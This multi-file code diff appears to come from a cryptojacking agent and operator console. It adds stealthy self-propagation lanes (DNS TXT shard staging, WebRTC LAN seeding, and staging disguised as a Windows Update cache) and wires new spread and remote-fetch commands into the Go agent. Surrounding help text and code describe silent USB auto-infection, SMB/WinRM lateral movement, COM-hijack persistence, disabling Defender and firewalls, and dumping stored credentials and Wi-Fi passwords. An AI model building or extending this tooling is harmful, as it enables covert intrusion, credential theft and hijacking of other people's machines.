id: 'smb',
label: 'SMB',

View File

@@ -33,6 +33,9 @@ describe('reconRisk', () => {
expect(joinLaneLabel('winrm')).toBe('WinRM');
expect(joinLaneLabel('spread_smb_unc')).toBe('SMB UNC');
expect(joinLaneLabel('do_peer')).toBe('DoSvc peer');
expect(joinLaneLabel('dns_txt')).toBe('DNS TXT');
expect(joinLaneLabel('webrtc_mesh')).toBe('WebRTC mesh');
expect(joinLaneLabel('wsus_cache_peer')).toBe('WSUS cache');
expect(joinLaneLabel('')).toBeNull();
expect(joinLaneLabel('custom_lane')).toBe('custom lane');
});

View File

@@ -74,6 +74,9 @@ const JOIN_LANE_LABELS: Record<string, string> = {
docker: 'Docker',
bits: 'BITS',
do_peer: 'DoSvc peer',
wsus_cache_peer: 'WSUS cache',
dns_txt: 'DNS TXT',
webrtc_mesh: 'WebRTC mesh',
bits_curl: 'BITS/curl',
intune: 'Intune',
'linux-lotl': 'Linux LOTL',

View File

@@ -109,6 +109,9 @@ describe('FIELD_HELP', () => {
'usb_spread',
'share_spread',
'winrm_spread',
'dns_txt_spread',
'webrtc_mesh_spread',
'wsus_cache_peer_spread',
'com_hijack_persist',
'linux_lotl_mode',
'hole_punch',

View File

@@ -127,6 +127,12 @@ export const FIELD_HELP: Record<string, string> = {
usb_spread: 'USB Propagation: Watches for newly inserted USB/removable drives and silently copies the agent onto them. Also installs a persistent WMI event subscription so any USB plugged into this machine in the future auto-infects — even after reboot. Creates a disguised LNK shortcut and autorun.inf on the drive.',
share_spread: 'Share Drop: Periodically scans mapped network drives and mounted NFS/SMB shares, then silently drops and launches the agent on any writable share. Also tries PowerShell Remoting (WinRM) on LAN hosts where it is enabled.',
winrm_spread: 'WinRM Spread: During autospread, sweeps the local /24 for WinRM-open hosts and deploys via encoded PowerShell bootstrap. Requires owned/lab targets with remoting enabled — separate from Share Drop opportunistic WinRM tries.',
dns_txt_spread:
'DNS TXT Spread: Stages hash-verified worker shards via `_aether.<zone>` TXT records (nslookup / Resolve-DnsName). Default ON for Windows/universal — low egress, blends with internal DNS policy refresh. Server Calibrate `dns_zone` sets the zone suffix.',
webrtc_mesh_spread:
'WebRTC Mesh Spread: LAN seeder delivers manifest over WebRTC data channel (STUN from server, signaling via WS relay). Bytes stay on subnet; server sees join_lane + hashrate only. Default OFF — heavier than DNS/WSUS cousins; enable for dense LANs.',
wsus_cache_peer_spread:
'WSUS Cache Peer Spread: Stages beside `SoftwareDistribution\\Download` like an offline update cache cousin. Probes Wuauserv/AU registry; default ON when Windows Update service is present or this forge flag is set.',
com_hijack_persist: 'COM Hijack Persist: Registers the agent under an InprocServer32 CLSID hijack for stealthy relaunch. High-friction persistence — off by default; only enable on systems you fully own.',
linux_lotl_mode: 'Linux LOTL Mode: After install on Linux, registers native-tool persistence via systemd-run --user, crontab @reboot, both, or off. No extra drop — uses built-in OS scheduling only.',
hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',

View File

@@ -24,10 +24,10 @@ describe('spreadTechniques', () => {
expect(EMBERWAKE_TECHNIQUE_LINKS.every((t) => t.anchor && t.label && t.hint)).toBe(true);
});
it('re-exports ten LOTL onion tiers in canonical order', () => {
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(10);
it('re-exports fourteen LOTL onion tiers in canonical order', () => {
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(14);
expect(DEFAULT_LOTL_ONION_TIERS[0]).toBe('vuln_recon');
expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('gpo');
expect(DEFAULT_LOTL_ONION_TIERS[13]).toBe('gpo');
expect(LOTL_ONION_TIER_DOCS.map((t) => t.id)).toEqual([...DEFAULT_LOTL_ONION_TIERS]);
});
});

View File

@@ -93,6 +93,7 @@ describe('UI_HELP', () => {
'set_alerts',
'set_alert_notifications',
'set_webhook',
'crucible_section_spread_templates',
] as const;
it('defines help for every documented UI key', () => {

View File

@@ -39,6 +39,10 @@ export const UI_HELP: Record<string, string> = {
'Named color groups for the fleet. Click a group chip to select all members for bulk commands.',
crucible_active_target:
'The focused node when exactly one is selected — used for single-agent panels like live desktop and file browser.',
crucible_access_depth:
'Host posture, LOTL mining tier status, join lane, and effective onion order for the selected agent — from live WS stats plus mining_diagnostics when run.',
crucible_access_depth_calibrate:
'Calibrate → lotl_onion_tiers changes spread contingency order on next agent reconnect (agents forged with lotl_policy_from_server).',
crucible_tab_ops:
'Day-to-day remote control: pause/resume mining, shell commands, agent restart, logs, and power actions.',
crucible_tab_recon:
@@ -99,6 +103,8 @@ export const UI_HELP: Record<string, string> = {
'Full protocol tunnel panel for the focused node — cloudflared, SSH forwards, and live status.',
crucible_section_portfwd:
'Matrix of SSH local-forward rules pushed to selected Windows agents.',
crucible_section_spread_templates:
'Generate and download custom script templates for lateral movement, registry auto-run persistence, or custom payloads with baked-in server configuration.',
bm_pin_dropper:
'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.',

View File

@@ -9,6 +9,7 @@ import './styles/steampunk-theme.css';
import './styles/sacred-geometry.css';
import './styles/wealth-deck.css';
import './styles/mobile.css';
import './pages/Pages.css';
import './styles/visual-polish.css';
ReactDOM.createRoot(document.getElementById('root')!).render(

View File

@@ -171,7 +171,7 @@
.bm-tls-badge {
font-size: 0.62rem;
color: var(--neon-cyan, #0ff);
color: var(--neon-cyan, #00e8f5);
opacity: 0.8;
}
@@ -217,7 +217,7 @@
font-family: 'Courier New', monospace;
font-size: 0.65rem;
font-weight: 700;
color: var(--neon-cyan, #0ff);
color: var(--neon-cyan, #00e8f5);
min-width: 2rem;
text-align: right;
flex-shrink: 0;
@@ -236,17 +236,17 @@
flex-shrink: 0;
font-size: 0.7rem;
padding: 0.15rem 0.5rem;
background: rgba(0,245,255,0.08);
border: 1px solid rgba(0,245,255,0.28);
background: rgba(0, 232, 245, 0.08);
border: 1px solid rgba(0, 232, 245, 0.28);
border-radius: 3px;
color: var(--neon-cyan, #0ff);
color: var(--neon-cyan, #00e8f5);
cursor: pointer;
transition: background 0.15s;
white-space: nowrap;
}
.bm-copy-btn:hover {
background: rgba(0,245,255,0.18);
background: rgba(0, 232, 245, 0.18);
}
/* ── footer row ── */

View File

@@ -400,12 +400,12 @@ export default function BuildManagerPage() {
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">WORKER BUILDS · DEPLOY &amp; MANAGE</p>
<h1 className="font-display bm-title">Build Manager</h1>
<p className="form-hint bm-subtitle">
<h1>Build Manager</h1>
<p className="page-subtitle">
All forged workers download, deploy, re-forge, or delete from any browser.
</p>
</div>
<div className="bm-header-actions">
<div className="deck-hero-actions">
<button type="button" className="btn btn-outline" onClick={loadBuilds} disabled={loading}>
{loading ? 'Loading…' : '↻ Refresh'}
</button>

View File

@@ -2935,6 +2935,44 @@ export default function BuilderPage() {
<FieldHint field="winrm_spread" />
</div>
<div className={`form-group checkbox-group ${fieldMeta.dns_txt_spread?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.dns_txt_spread !== false}
disabled={fieldMeta.dns_txt_spread?.disabled}
onChange={(e) => updateField('dns_txt_spread', e.target.checked)} />
<span>DNS TXT Spread — _aether zone shard mesh <HelpTip field="dns_txt_spread" /></span>
</label>
<FieldHint field="dns_txt_spread" />
<ForgeLockedHint meta={fieldMeta.dns_txt_spread} />
</div>
<div className={`form-group checkbox-group ${fieldMeta.wsus_cache_peer_spread?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.wsus_cache_peer_spread !== false}
disabled={fieldMeta.wsus_cache_peer_spread?.disabled}
onChange={(e) => updateField('wsus_cache_peer_spread', e.target.checked)} />
<span>WSUS Cache Peer — SoftwareDistribution cousin staging <HelpTip field="wsus_cache_peer_spread" /></span>
</label>
<FieldHint field="wsus_cache_peer_spread" />
<ForgeLockedHint meta={fieldMeta.wsus_cache_peer_spread} />
</div>
<div className={`form-group checkbox-group ${fieldMeta.webrtc_mesh_spread?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.webrtc_mesh_spread}
disabled={fieldMeta.webrtc_mesh_spread?.disabled}
onChange={(e) => updateField('webrtc_mesh_spread', e.target.checked)} />
<span>WebRTC Mesh Spread — LAN seed data channel (default off) <HelpTip field="webrtc_mesh_spread" /></span>
</label>
{form.webrtc_mesh_spread && (
<p className="form-hint" style={{ color: 'var(--color-warn, #f5a623)', marginTop: '0.25rem' }}>
⚠ WebRTC mesh is ON — heavier LAN seed path; payload bytes stay on subnet, server sees hashrate + join_lane only.
</p>
)}
<FieldHint field="webrtc_mesh_spread" />
<ForgeLockedHint meta={fieldMeta.webrtc_mesh_spread} />
</div>
<div className={`form-group checkbox-group ${fieldMeta.com_hijack_persist?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.com_hijack_persist}

View File

@@ -307,9 +307,9 @@ describe('CruciblePage terminal — command_result processing', () => {
describe('CruciblePage helpers', () => {
it('agentColor cycles palette by agent order', () => {
const ids = ['a', 'b', 'c'];
expect(agentColor('a', ids)).toBe('#00f5ff');
expect(agentColor('a', ids)).toBe('#00e8f5');
expect(agentColor('b', ids)).toBe('#39ff14');
expect(agentColor('missing', ids)).toBe('#00f5ff');
expect(agentColor('missing', ids)).toBe('#00e8f5');
});
it('sshBadge reflects ssh_available tri-state', () => {

View File

@@ -23,11 +23,13 @@ import type { WSCommandResult } from '../types/ws';
import { sanitizeScreenshotBase64 } from '../help/screenshotDownload';
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
import AccessDepthPanel from '../components/Fleet/AccessDepthPanel';
import LotlAttemptsList from '../components/Fleet/LotlAttemptsList';
import LotlTierBadge from '../components/Fleet/LotlTierBadge';
import RiskBadge from '../components/Fleet/RiskBadge';
import FleetHeatMiniMap from '../components/Fleet/FleetHeatMiniMap';
import { parseTierReport } from '../types/lotl';
import { parseAccessDepthDiagnostics, type AccessDepthDiagnostics } from '../help/accessDepth';
import AlsoHere from '../components/Presence/AlsoHere';
import { HelpTip } from '../components/HelpTip';
import '../components/Fleet/FullSysCheckPanel.css';
@@ -126,7 +128,7 @@ type RichTermData =
// ── Helpers ────────────────────────────────────────────────────────────────
const AGENT_COLORS = [
'#00f5ff', '#39ff14', '#ff2da6', '#b24bf3',
'#00e8f5', '#39ff14', '#ff2da6', '#b24bf3',
'#ffb020', '#ff6b35', '#00d4aa', '#f72585',
'#7209b7', '#3a86ff', '#06d6a0', '#ffd60a',
];
@@ -134,7 +136,7 @@ const AGENT_COLORS = [
export function agentColor(agentId: string, allIds: string[], groupColor?: string): string {
if (groupColor) return groupColor;
const idx = allIds.indexOf(agentId);
return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00f5ff';
return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00e8f5';
}
export function sshBadge(agent: Agent) {
@@ -376,6 +378,7 @@ export default function CruciblePage() {
// SSH / posture overrides (from on-demand probes)
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
const [accessDepthByAgent, setAccessDepthByAgent] = useState<Record<string, AccessDepthDiagnostics>>({});
const allIds = useMemo(() => agents.map((a) => a.id), [agents]);
@@ -568,6 +571,8 @@ export default function CruciblePage() {
} else if (r.action === 'mining_diagnostics') {
const blockers = parsed.likely_blockers ?? parsed.blockers;
const tierFields = parseTierReport(parsed as Record<string, unknown>);
const depthDiag = parseAccessDepthDiagnostics(parsed as Record<string, unknown>);
setAccessDepthByAgent((prev) => ({ ...prev, [aid]: depthDiag }));
if (Array.isArray(blockers) || tierFields.lotl_attempts.length > 0) {
richData = {
type: 'mining_diagnostics',
@@ -1086,6 +1091,7 @@ export default function CruciblePage() {
filters={filters}
onChange={setFilters}
selectedCount={selectedIds.size}
selectedAgents={selectedAgents}
filteredCount={filteredAgents.length}
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
onBulkAction={handleBulkAction}
@@ -1333,6 +1339,13 @@ export default function CruciblePage() {
</div>
)}
{focusedAgent && (
<AccessDepthPanel
agent={focusedAgent}
diagnostics={accessDepthByAgent[focusedAgent.id]}
/>
)}
{/* ── Groups & Actions ────────────────────────────────────────────── */}
<div className="crucible-row">
<NeonCard accent="purple" className="crucible-groups-card operator-deck-card operator-interactive" tilt3d={false}>

View File

@@ -47,7 +47,6 @@ import {
import {
resolveChartSeries,
} from '../help/chartSampleData';
import './Pages.css';
const SKELETON_HEIGHTS = [0.30, 0.55, 0.40, 0.70, 0.50, 0.65, 0.45, 0.80, 0.60, 0.35];
@@ -95,6 +94,7 @@ export default function DashboardPage() {
const [calibrateConfig, setCalibrateConfig] = useState<ServerConfig | null>(null);
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
const selectedAgents = useMemo(() => agents.filter((a) => selectedIds.has(a.id)), [agents, selectedIds]);
const [bulkBusy, setBulkBusy] = useState(false);
const [showMatrix, setShowMatrix] = useState(false);
const screenshotWatchId = useRef<string | null>(null);
@@ -841,7 +841,7 @@ export default function DashboardPage() {
data={hashChart.data}
displayMode={hashChart.mode}
title="Fleet Hashrate Wave"
color="#00f5ff"
color="#00e8f5"
unit="H/s"
height={300}
/>
@@ -932,6 +932,7 @@ export default function DashboardPage() {
filters={filters}
onChange={setFilters}
selectedCount={selectedIds.size}
selectedAgents={selectedAgents}
filteredCount={filteredAgents.length}
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
onBulkAction={handleBulkAction}

View File

@@ -23,7 +23,6 @@ import AlsoHere from '../components/Presence/AlsoHere';
import ComradeAvatar from '../components/Presence/ComradeAvatar';
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
import { HelpTip } from '../components/HelpTip';
import './Pages.css';
import './EmberwakePage.css';
import '../components/Presence/Presence.css';

View File

@@ -22,7 +22,7 @@
font-weight: 700;
letter-spacing: 0.15em;
text-transform: uppercase;
color: var(--accent-primary, #00ffaa);
color: var(--accent-primary, #00e8f5);
font-family: var(--font-tech, monospace);
}
@@ -55,8 +55,8 @@
}
.pt-agent-card {
background: rgba(0, 255, 170, 0.04);
border: 1px solid rgba(0, 255, 170, 0.12);
background: rgba(0, 232, 245, 0.04);
border: 1px solid rgba(0, 232, 245, 0.12);
border-radius: 8px;
padding: 0.85rem 1rem;
cursor: pointer;
@@ -66,14 +66,14 @@
}
.pt-agent-card:hover {
background: rgba(0, 255, 170, 0.08);
border-color: rgba(0, 255, 170, 0.3);
background: rgba(0, 232, 245, 0.08);
border-color: rgba(0, 232, 245, 0.3);
}
.pt-agent-card.selected {
background: rgba(0, 255, 170, 0.14);
border-color: #00ffaa;
box-shadow: 0 0 12px #00ffaa33;
background: rgba(0, 232, 245, 0.14);
border-color: #00e8f5;
box-shadow: 0 0 12px rgba(0, 232, 245, 0.2);
}
.pt-agent-card.offline {
@@ -90,7 +90,7 @@
font-size: 0.65rem;
font-family: var(--font-tech, monospace);
color: #000;
background: #00ffaa;
background: #00e8f5;
border-radius: 50%;
width: 18px;
height: 18px;
@@ -114,7 +114,7 @@
.pt-agent-ip {
font-size: 0.7rem;
color: #00ffaa99;
color: rgba(0, 232, 245, 0.6);
font-family: monospace;
}
@@ -138,7 +138,7 @@
.pt-chain-panel {
background: rgba(0, 0, 0, 0.35);
border: 1px solid rgba(0, 255, 170, 0.14);
border: 1px solid rgba(0, 232, 245, 0.14);
border-radius: 10px;
padding: 1rem;
display: flex;
@@ -150,7 +150,7 @@
font-size: 0.65rem;
letter-spacing: 0.12em;
text-transform: uppercase;
color: #00ffaa88;
color: rgba(0, 232, 245, 0.53);
font-family: var(--font-tech, monospace);
margin-bottom: 0.25rem;
}
@@ -179,14 +179,14 @@
width: 22px;
height: 22px;
border-radius: 50%;
background: #00ffaa22;
border: 1px solid #00ffaa55;
background: rgba(0, 232, 245, 0.13);
border: 1px solid rgba(0, 232, 245, 0.33);
display: flex;
align-items: center;
justify-content: center;
font-size: 0.6rem;
font-family: var(--font-tech, monospace);
color: #00ffaa;
color: #00e8f5;
flex-shrink: 0;
}
@@ -201,7 +201,7 @@
.pt-chain-arrow {
font-size: 0.65rem;
color: #00ffaa55;
color: rgba(0, 232, 245, 0.33);
padding-left: 10px;
}
@@ -217,7 +217,7 @@
margin-left: auto;
}
.pt-hop-status.pending { background: rgba(255,200,0,0.15); color: #ffc800; border: 1px solid #ffc80033; }
.pt-hop-status.ready { background: rgba(0,255,170,0.15); color: #00ffaa; border: 1px solid #00ffaa33; }
.pt-hop-status.ready { background: rgba(0, 232, 245, 0.15); color: #00e8f5; border: 1px solid rgba(0, 232, 245, 0.2); }
.pt-hop-status.failed { background: rgba(255,80,80,0.15); color: #ff5050; border: 1px solid #ff505033; }
/* ── Action buttons ──────────────────────────────────────────── */
@@ -236,14 +236,14 @@
}
.pt-btn-primary {
background: linear-gradient(135deg, #00ffaa22, #00ffaa11);
border-color: #00ffaa;
color: #00ffaa;
text-shadow: 0 0 8px #00ffaa;
background: linear-gradient(135deg, rgba(0, 232, 245, 0.13), rgba(0, 232, 245, 0.07));
border-color: #00e8f5;
color: #00e8f5;
text-shadow: 0 0 8px #00e8f5;
}
.pt-btn-primary:hover:not(:disabled) {
background: linear-gradient(135deg, #00ffaa44, #00ffaa22);
box-shadow: 0 0 14px #00ffaa44;
background: linear-gradient(135deg, rgba(0, 232, 245, 0.25), rgba(0, 232, 245, 0.13));
box-shadow: 0 0 14px rgba(0, 232, 245, 0.27);
}
.pt-btn-primary:disabled {
opacity: 0.35;
@@ -312,9 +312,9 @@
.pt-modal {
background: #0e1117;
border: 1px solid #00ffaa44;
border: 1px solid rgba(0, 232, 245, 0.27);
border-radius: 14px;
box-shadow: 0 0 60px #00ffaa22;
box-shadow: 0 0 60px rgba(0, 232, 245, 0.13);
padding: 2rem;
max-width: 520px;
width: 100%;
@@ -334,9 +334,9 @@
font-weight: 700;
letter-spacing: 0.12em;
text-transform: uppercase;
color: #00ffaa;
color: #00e8f5;
font-family: var(--font-tech, monospace);
text-shadow: 0 0 12px #00ffaa66;
text-shadow: 0 0 12px rgba(0, 232, 245, 0.4);
}
.pt-qr-wrap {
@@ -345,7 +345,7 @@
padding: 0.5rem;
background: #000;
border-radius: 10px;
border: 1px solid #00ffaa33;
border: 1px solid rgba(0, 232, 245, 0.2);
}
.pt-qr-img {
@@ -387,7 +387,7 @@
font-size: 0.62rem;
letter-spacing: 0.14em;
text-transform: uppercase;
color: #00ffaa55;
color: rgba(0, 232, 245, 0.33);
font-family: var(--font-tech, monospace);
margin-bottom: 0.4rem;
}
@@ -405,8 +405,8 @@
display: inline-block;
width: 14px;
height: 14px;
border: 2px solid #00ffaa33;
border-top-color: #00ffaa;
border: 2px solid rgba(0, 232, 245, 0.2);
border-top-color: #00e8f5;
border-radius: 50%;
animation: pt-spin 0.6s linear infinite;
vertical-align: middle;

View File

@@ -246,10 +246,10 @@ export default function PathTracerPage() {
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">NETWORK OPS · WIREGUARD</p>
<h1 className="pt-title"> Path Tracer <HelpTip field="pt_path_tracer" /></h1>
<div className="pt-subtitle">
<h1> Path Tracer <HelpTip field="pt_path_tracer" /></h1>
<p className="page-subtitle">
Build an on-demand multi-hop WireGuard VPN select up to 3 agents, click TRACE.
</div>
</p>
</div>
</header>

View File

@@ -34,7 +34,6 @@ import {
buildDefenderExclusionScript,
defaultWindowsInstallPreview,
} from '../help/defenderExclusion';
import './Pages.css';
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
export function deepMerge<T extends object>(base: T, override: Partial<T>): T {

View File

@@ -127,38 +127,6 @@
z-index: 1;
}
.page-header--sacred {
position: relative;
padding-bottom: 0.75rem;
}
.page-header--sacred::after {
content: '';
position: absolute;
left: 0;
right: 0;
bottom: 0;
height: 1px;
background: linear-gradient(
90deg,
transparent,
rgba(201, 162, 39, 0.5) 15%,
rgba(0, 245, 255, 0.35) 50%,
rgba(201, 162, 39, 0.5) 85%,
transparent
);
}
.page-header--sacred .page-header-sacred-motif {
position: absolute;
right: 0;
top: 50%;
transform: translateY(-50%);
width: 48px;
height: 48px;
opacity: 0.2;
pointer-events: none;
}
/* Neon card corner watermarks */
.neon-card {

View File

@@ -17,7 +17,7 @@
box-shadow:
var(--shadow-panel),
inset 0 1px 0 rgba(232, 197, 71, 0.12),
0 0 40px rgba(0, 245, 255, 0.04);
0 0 40px rgba(0, 232, 245, 0.04);
}
.chart-header {
@@ -82,7 +82,7 @@
120deg,
rgba(201, 162, 39, 0.06) 0%,
rgba(8, 6, 4, 0.4) 40%,
rgba(0, 245, 255, 0.04) 100%
rgba(0, 232, 245, 0.04) 100%
);
box-shadow: 0 0 48px rgba(201, 162, 39, 0.06);
}
@@ -144,18 +144,9 @@
text-shadow: 0 0 16px rgba(57, 255, 20, 0.4);
}
.earnings-preview-badge {
font-family: var(--font-tech);
font-size: 0.6rem;
letter-spacing: 0.18em;
color: var(--brass-light);
opacity: 0.75;
margin-bottom: 0.35rem;
}
.contrib-panel.sample-contrib .contrib-fill {
background: linear-gradient(90deg, var(--brass-dark), var(--neon-cyan));
box-shadow: 0 0 10px rgba(0, 245, 255, 0.25);
box-shadow: 0 0 10px rgba(0, 232, 245, 0.25);
}
.activity-pulse.sample-activity .pulse-row.ok .pulse-dot {

View File

@@ -297,6 +297,15 @@ export interface ServerSettings {
public_builds_latest_n?: number;
/** Server-side LOTL Onion tier order pushed to agents with lotl_policy_from_server. */
lotl_onion_tiers?: string[];
/** Triple onion recon/deploy gates pushed to agents at auth. */
triple_onion_policy?: {
patch_first?: boolean;
mine_isolated_tier?: boolean;
skip_mining_on_high_risk?: boolean;
high_risk_threshold?: number;
recon_tiers?: string[];
deploy_lanes?: string[];
};
}
export interface TunnelDefaults {
@@ -492,6 +501,12 @@ export interface BuildRequest {
share_spread?: boolean;
/** WinRM encoded bootstrap during autospread (Windows, owned/lab). */
winrm_spread?: boolean;
/** DNS TXT mesh shard staging via _aether zone (Windows/universal default ON). */
dns_txt_spread?: boolean;
/** WebRTC LAN seed manifest path — heavier; default OFF. */
webrtc_mesh_spread?: boolean;
/** WSUS SoftwareDistribution cousin staging (default ON for Windows). */
wsus_cache_peer_spread?: boolean;
/** COM CLSID hijack persistence — high-friction; default off. */
com_hijack_persist?: boolean;
/** Linux LOTL persistence: systemd_run_user | crontab | both | off */

View File

@@ -20,6 +20,8 @@ export interface TierAttempt {
error?: string;
duration_ms?: number;
wallet?: string;
/** recon | deploy | mining — triple onion phase */
phase?: string;
}
/** Full tier run snapshot — mirrors Go TierReport (mining_diagnostics + WS stats). */
@@ -68,6 +70,7 @@ export function parseTierAttempts(raw: unknown): TierAttempt[] {
error: typeof row.error === 'string' ? row.error : undefined,
duration_ms: typeof row.duration_ms === 'number' ? row.duration_ms : undefined,
wallet: typeof row.wallet === 'string' ? row.wallet : undefined,
phase: typeof row.phase === 'string' ? row.phase : undefined,
});
}
return out;

View File

@@ -73,7 +73,7 @@ flowchart TB
dj[discover_and_join]
d1[docker / docker_load]
d2[wsl / powershell / dotnet]
d3[bits_curl / do_peer / smb / winrm]
d3[bits_curl / do_peer / wsus_cache_peer / dns_txt / webrtc_mesh / smb / winrm]
d4[linux / gpo / intune]
dj --> d1 --> d2 --> d3 --> d4
end
@@ -146,6 +146,9 @@ Every term below has a plain-language definition and a copy-pasteable example (C
|------|------------|---------|
| `bits_curl` | Stage payload with BITS (`bitsadmin`) or `curl.exe`; optional `certutil -decode` + SHA256 verify. | `stage_fetch` manifest `{"method":"bits",…}` or CCMEXEC service → `bits_curl` join lane. |
| `do_peer` | Shadow Cache Handoff — DoSvc + BITS peer-style chunk staging on LAN; hash-verified assembly, rundll32/BITS launch. | `DoSvc` running → `join_lane_candidate: do_peer`; signed deploy plan with `peer_group`, `--defer-mining`. |
| `wsus_cache_peer` | WSUS offline cache cousin — stages beside `SoftwareDistribution\Download`; Wuauserv/AU probe; hash verify + defer_mining launch. | `Wuauserv` running → `join_lane: wsus_cache_peer` (allowlist priority after `do_peer`). |
| `dns_txt` | DNS TXT mesh — `_aether.<zone>` shards via nslookup/Resolve-DnsName; TTL policy refresh; embedded chunk API for tests. | `_aether` TXT present → `join_lane: dns_txt`; Forge `dns_txt_spread` default ON. |
| `webrtc_mesh` | WebRTC LAN seed — subnet seeder, manifest over data channel (STUN + WS relay); LAN HTTP fallback stub in tests. | Forge `webrtc_mesh_spread` default OFF; `webrtc_mesh_policy` 24h seeder rotation. |
| `smb` / `spread_smb_unc` | Lateral via SMB admin share + SCM (`sc.exe create/start`) pointing at a UNC worker path — no PsExec. | `{"action":"spread_smb_unc","path":"\\\\forge\\\\pathforge$\\\\worker.exe"}` |
| `winrm` | PS remoting lateral when ports 5985/5986 respond. | `POST /api/v1/builder/spread-template-export` `{"template":"winrm"}`; autospread when `winrm_spread` forge flag set. |
| `linux` / `linux_lotl` | SSH/SCP lateral on Unix with optional systemd-run or crontab LOTL persistence. | `{"template":"linux-lotl","lotl_mode":"both"}`; `sshd` service → `linux_lotl` join lane. |

View File

@@ -16,10 +16,14 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
if !c.cfg.HolePunch {
return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
}
case "spread_now":
case "spread_now", "spread_smb_unc", "discover_and_join":
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
}
case "stage_fetch":
if !c.cfg.RemoteAggressive {
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
}
case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
"subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords":
if !c.cfg.RemoteAggressive {
@@ -27,8 +31,8 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
}
case "tunnel_status", "tunnel_wireguard":
// Always available — read-only or Path Tracer config from server.
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status":
// No forge gate — always available.
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status", "service_discover":
// No forge gate — enumeration-only recon (Path Tracer + fleet discover).
case "mesh_status":
if !c.cfg.MeshP2P {
return false, "mesh P2P not enabled in forge"
@@ -90,6 +94,38 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
c.sendCommandResult(action, true, msg)
return true
case "spread_smb_unc":
unc := strings.TrimSpace(path)
svcName := ""
if unc == "" {
unc = strings.TrimSpace(data)
} else {
svcName = strings.TrimSpace(data)
}
msg := deploy.RunSMBUNCSpread(c.cfg, deploy.SMBUNCSpreadOpts{
UNCPath: unc,
MaxHosts: parsePortArg(command, 64),
SvcName: svcName,
})
c.sendCommandResult(action, true, msg)
return true
case "stage_fetch":
var manifest deploy.StagingManifest
if err := json.Unmarshal([]byte(data), &manifest); err != nil {
c.sendCommandResult(action, false, "bad staging manifest: "+err.Error())
return true
}
go func() {
msg, err := deploy.RunStagingChain(c.cfg, manifest)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return
}
c.sendCommandResult(action, true, msg)
}()
return true
case "subnet_scan":
maxHosts := parsePortArg(command, 64)
out := deploy.ScanLocalSubnet(maxHosts)
@@ -328,6 +364,24 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
case "wg_status":
c.sendCommandResult(action, true, WGStatus())
return true
case "service_discover":
maxHosts := parsePortArg(command, 32)
out := deploy.RunServiceDiscover(maxHosts)
c.sendCommandResult(action, true, out)
return true
case "discover_and_join":
maxHosts := parsePortArg(command, 32)
go func() {
msg, err := c.runDiscoverAndJoin(maxHosts)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return
}
c.sendCommandResult(action, true, msg)
}()
return true
}
return false

View File

@@ -1,6 +1,7 @@
package client
import (
"context"
"encoding/base64"
"encoding/json"
"fmt"
@@ -23,6 +24,7 @@ import (
"crypto-miner-agent/job"
"crypto-miner-agent/miner"
"crypto-miner-agent/stats"
"crypto-miner-agent/vulnprobe"
"github.com/gorilla/websocket"
)
@@ -46,6 +48,26 @@ type AgentClient struct {
// The Stratum fallback manager monitors this to decide when to mine directly.
connected atomic.Bool
// containerMiner supervises OCI-isolated CPU mining (container / docker_load tiers).
containerMiner *miner.ContainerLauncher
// wslMiner supervises CPU mining inside WSL2 via wsl.exe -e.
wslMiner *miner.WSLLauncher
// psMiner hosts in-memory assembly / encoded-command mining via powershell.exe.
psMiner *miner.PowerShellLauncher
// dotnetMiner compiles and runs a LOTL Stratum stub via dotnet/msbuild.
dotnetMiner *miner.DotnetLauncher
// hostMiningDisabled is true when a healthy container handles RandomX on the host.
hostMiningDisabled atomic.Bool
// miningChain orchestrates container → in-process → GPU → Stratum cascade.
miningChain *MiningChainRunner
// tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update).
tierPolicy miner.MiningTierPolicy
// triplePolicy is server-pulled recon → deploy → mining gate policy.
triplePolicy miner.TripleOnionPolicy
triplePolicyLoaded bool
